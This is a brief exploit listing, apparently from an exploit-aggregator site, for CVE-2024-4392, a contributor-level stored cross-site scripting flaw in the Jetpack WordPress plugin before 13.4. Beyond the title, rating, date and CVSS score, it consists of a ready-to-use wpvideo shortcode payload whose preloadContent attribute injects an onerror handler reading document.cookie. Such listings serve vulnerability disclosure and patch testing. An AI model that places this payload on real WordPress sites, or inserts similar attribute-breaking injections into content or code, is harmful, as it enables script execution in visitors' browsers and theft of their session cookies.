Exploit for Jetpack < 13.4 - Contributor+ Stored Cross-Site Scripting via wpvideo Shortcode CVE-2024-4392

Name: Exploit for Jetpack < 13.4 - Contributor+ Stored Cross-Site Scripting via wpvideo Shortcode CVE-2024-4392
Rating: 5 (44 reviews)

2024-05-14 | CVSS 6.4

## https://sploitus.com/exploit?id=WPEX-ID:5649D116-5263-41E9-87B4-1CB71F12D419
[wpvideo OcobLTqC freedom=true preloadContent='"src=x onerror=alert(document.cookie) xss']